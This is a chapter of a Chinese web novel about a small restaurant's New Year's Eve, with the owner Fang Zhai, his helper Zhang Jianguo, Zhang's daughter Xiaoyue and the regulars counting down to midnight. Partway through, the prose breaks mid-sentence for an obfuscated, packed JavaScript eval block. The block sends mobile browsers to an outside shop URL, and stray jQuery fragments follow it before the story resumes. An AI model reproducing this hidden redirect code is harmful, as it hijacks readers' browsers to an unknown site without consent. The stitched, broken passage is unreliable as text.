十二月三十一号，一年的最后一天。
房寨早上到店的时候，看到门口贴了一副新对联。上联：锅碗瓢盆奏新曲，下联：油盐酱醋调美味，横批：寨哥儿小馆。和去年一样的对联，张建国写的，字还是那么好看，笔画有力，结构方正。但今年的红纸比去年好，厚实，不掉色，贴在门框两边，整条街都多了几分过年的味道。
张建国还写了一个大红的“福”字，倒着贴在收银台后面的墙上，和去年一样。小月问为什么要倒着贴，张建国说“福倒了”就是“福到了”。小月说“你去年说过了”，张建国笑了，说“每年都要说一次”。
周阿姨从家里带来了腊肉和香肠，和去年一样，挂在厨房的挂钩上，一溜儿排开，油光光的。她说这是她自家熏的，柏树枝熏的，比去年的还好，因为今年她多熏了两天，香味更浓。房寨看着那些腊肉香肠，想着明天切一盘，蒸熟了当凉菜。
小赵买了几串鞭炮，红彤彤的，放在门口的角落里，等着晚上放。房寨说去年不是放过了吗，小赵说每年都要放，辞旧迎新。房寨说那你找个没人的地方放，别在门口放，火星子溅到人怎么办。小赵说知道了知道了。
阿坤来店里的时候，带了一箱橘子，说是健身房的年终福利，他分了一箱，给房寨拿来。房寨说你自己留着吃，阿坤说去年我也拿了苹果，今年是橘子，年年不重样。房寨收下了，放在收银台旁边，客人来了可以拿一个吃。
店里的生意很好。虽然是最后一天，但来的人不少。有人是来吃饭的，有人是来告别的，有人是来跟房寨说一声“明年见”。房寨站在灶台前，一份一份地炒，一碗一碗地煮，手没停过。他的胳膊很酸，手腕很疼，但他不想停。这是今年的最后一天了，他想把每一份饭都做好，让每一个人都吃得开心。
下午的时候，王丽和李哥来了，带着小月。三个人坐在靠窗的位置上，点了一桌子菜。煲仔饭、红烧肉、糖醋排骨、羊肉汤、阳春面，把桌子摆得满满当当的。小月坐在中间，王丽和李哥坐在两边，三个人有说有笑，像一家人。
张建国在厨房里切菜，没有往外看。他今天切了一整天的菜，案板上堆满了各种食材，整整齐齐的，像一排排士兵。他的表情很平静，和平时一样，但房寨注意到他切菜的速度比平时快了一些，快得有点不正常。
“建国。”房寨叫了一声。
“嗯。”
“你休息一下。”
“不累。”
房寨没再说什么，他知道张建国在硬撑。今天是今年的最后一天，他不想让任何人不开心，但他管不了张建国心里的事。有些事，只能自己消化。
傍晚的时候，小月跑到厨房门口，探进头来。
“爸爸，你什么时候下班？我想去你那儿跨年。”
张建国蹲下来，看着她的脸。“等爸爸下班，你去妈妈那儿还是去爸爸那儿？”
“去你那儿。”小月说，“你说要给我做糖醋排骨的。”
“好，爸爸给你做。”
小月笑了，跑回去了。张建国站起来，看着她的背影，嘴角带着笑。那笑容很淡，但很真，是那种“我还有她”的笑。
晚上，店里的灯全开了，亮堂堂的。张建国买的彩灯挂在门口，一闪一闪的，五颜六色。小赵吹的气球绑在门框上，红色的、金色的、蓝色的，花花绿绿的。周阿姨的旧音响放着老歌，声音不大，但气氛一下就上来了。
客人们陆续来了。有的是老客人，从摆摊的时候就跟着房寨的。有的是新客人，今年才来的。有的是群里的，没见过面，但一直在网上支持他。他们坐在店里，点着菜，喝着酒，聊着天，等着新年的到来。
房寨在厨房里炒菜，手没停过。他炒了红烧肉、糖醋排骨、春笋炒腊肉、清炒青菜，煮了羊肉汤、牛肉面、阳春面，蒸了腊肉香肠。他的胳膊已经酸得抬不起来了，手腕疼得像针扎，但他不想停。这是今年的最后一顿了，他想让每一个人都吃好。
张建国在旁边帮他打下手，切菜、盛汤、端菜，两个人配合默契，像两台配合了很久的机器。他们不说话，但知道对方要什么。房寨一伸手，张建国就把锅铲递过来。房寨一转头，张建国就把盘子递过来。这种默契，不是一天两天能练出来的，是几百个日日夜夜磨出来的。
十点多的时候，小月来了。她穿着那件红棉袄，头发扎着两个小辫子，辫子上系着粉色的蝴蝶结，和张建国一起来的。她跑到厨房门口，探进头来，喊了一声“叔叔”，又跑回去，坐在她的椅子上，拿出彩笔开始画画。
她画了一个圆桌，桌上摆满了菜，圆桌旁边坐着一圈人。有奶奶、有妈妈、有爸爸、有叔叔、有周阿姨、有小赵、有阿坤、有李叔叔，还有她自己。每个人脸上都笑着，笑得很开心。画的右下角写着：新年快乐。
十一点多的时候，客人们开始倒计时了。有人喊“还有四十分钟”，有人喊“还有半小时”，有人拿出手机看时间，有人说“我的手机快了”，有人说“我的手机慢了”，七嘴八舌的，乱成一团。小赵把音响的声音调大了，放的是一首很老的歌，房寨小时候听过，但想不起来叫什么名字了。有人开始跟着哼，哼着哼着就变成了大合唱，整间店都是歌声。
房寨从厨房里出来，站在收银台旁边，看着满屋子的人。他的店很小，二十平米，挤了三十几个人，转个身都难。空气里弥漫着食物的味道、啤酒的味道、人身上的味道，混在一起，热烘烘的。灯光是暖黄色的，照在每个人脸上，每个人的脸都是红的，不知道是热的还是喝了酒。
这些人，有的是老客人，从摆摊的时候就跟着他了。有的是新客人，今年才来的。有的是朋友的朋友，被拉来凑热闹的。他们来自不同的地方，做着不同的工作，有不同的故事，但此刻，他们都挤在他的小店里，等着新年的到来。
房寨忽然想起去年跨年。去年也是这么多人，也是这么热闹。一年过去了，店还在，人还在，一切都还在。他觉得很踏实，很安心。
十一点五十九分的时候，所有人都在看手机。有人开始倒数了。“十、九、八、七——”声音越来越大，越来越齐，整间店都在震。“六、五、四、三、二、一——”
“新年快乐！”
声音炸开了，像一颗炸弹在店里爆炸。有人吹哨子，有人拍手，有人敲桌子，有人喊“寨哥儿新年快乐”，有人喊“老板发红包”，乱成一锅粥。小赵把音响开到最大，放的还是一首老歌，房寨还是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17592792|203000||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
想不起来叫什么名字。
小月站在椅子上，手里举着她的画，举得高高的。画上面那个圆桌和那一圈人，在灯光下显得特别鲜艳。张建国站在她旁边，一只手扶着她，怕她摔下来。他的另一只手举着手机，在拍照。王丽和李哥站在不远的地方，两个人挨得很近，笑着说着什么。
房寨站在收银台后面，看着这一切。
他的眼眶湿了，但没有哭。他拿起一瓶啤酒，打开，喝了一大口。啤酒有点苦，但咽下去之后，嘴里是甜的。
新的一年来了。
他不知道这一年会发生什么。也许王丽和李哥会结婚，也许张建国会找到新的感情，也许小月会考上好的中学，也许奶奶的身体会变好，也许店里的生意会越来越好，也许会变差。他不知道，但他不害怕。
他经历了太多事，好的坏的，开心的难过的，他都经历过了。他知道，不管发生什么，他都能扛过去。因为他不是一个人了。他有张建国，有小赵，有周阿姨，有阿坤，有小月，有王丽，有奶奶，有群里那几百个每天催他出摊的人。
他转过身，回了厨房。
灶台上的火还开着，锅里的汤还在咕嘟咕嘟地冒泡。他把火关了，把汤盛出来，放在一边。然后他开始收拾厨房，把锅碗瓢盆洗了，把灶台擦干净，把地面拖了。他做这些事的时候很专注，很认真，像在做一件很重要的事。
张建国进来帮忙，两个人一起收拾。厨房不大，两个人转个身都能撞到一起，但他们配合得很好，你洗锅我擦灶，你拖地我倒垃圾，不到半小时就收拾好了。
“寨哥，新年快乐。”张建国说。
“新年快乐。”
“明年还在吗？”
“在。”房寨说，“只要店在，我就在。”
张建国笑了。那个笑容不大，但很真，像一个小孩得到了承诺，放心了。
两个人走出厨房，店里的客人已经走得差不多了，只剩几个老客人在喝酒聊天。小月趴在桌上睡着了，手里还握着那支彩笔。王丽坐在她旁边，轻轻拍着她的背。李哥坐在对面，看着她们，嘴角带着笑。
张建国走过去，把小月抱起来。小月迷迷糊糊地睁开眼，看了他一眼，叫了一声“爸爸”，又闭上眼睛，把头靠在他肩膀上。张建国抱着她，跟王丽说了一声“我走了”，王丽点了点头。他抱着小月走出店门，消失在夜色里。
王丽和李哥也走了。店里只剩下房寨一个人。
他站在店门口，看着街上的烟花。烟花一朵一朵地在夜空中炸开，红的绿的黄的紫的，把整条街都照亮了。烟花的响声很大，震得玻璃窗嗡嗡响。街上有很多人，有的在拍照，有的在欢呼，有的在拥抱。每个人都很快乐。
房寨看了一会儿烟花，然后转身锁了门。
他骑上三轮车，往城中村的方向去。夜风很冷，吹在脸上像刀割。他把领子竖起来，缩了缩脖子。大橘猫在楼道口等他，看到他来了，喵喵叫着跑过来，蹭他的腿。它又胖了一圈，圆滚滚的，像一个橘色的球。
房寨蹲下来，摸了摸它的头。
“新年快乐。”
猫喵了一声，好像在说“新年快乐”。
他站起来，上楼去了。